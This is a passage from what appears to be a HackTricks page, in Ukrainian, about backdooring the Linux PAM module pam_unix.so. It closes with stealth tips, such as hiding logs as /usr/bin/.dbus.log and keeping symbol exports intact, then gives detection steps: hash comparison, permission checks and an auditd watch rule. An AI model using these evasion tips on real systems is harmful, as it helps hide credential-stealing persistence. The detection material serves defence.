2. Розміщення журналів, таких як `/usr/bin/.dbus.log`, зливається з легітимними артефактами робочого столу.
|
||||
3. Зберігайте експорти символів ідентичними (`pam_sm_setcred` тощо), щоб уникнути неправильного поводження PAM.
|
||||
|
||||
### Detection
|
||||
* Порівняйте MD5/SHA256 `pam_unix.so` з пакетом дистрибутива.
|
||||
* Перевірте на наявність прав на запис для всіх або незвичну власність під `/lib/security/`.
|
||||
* Правило `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### References
|
||||
|
||||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user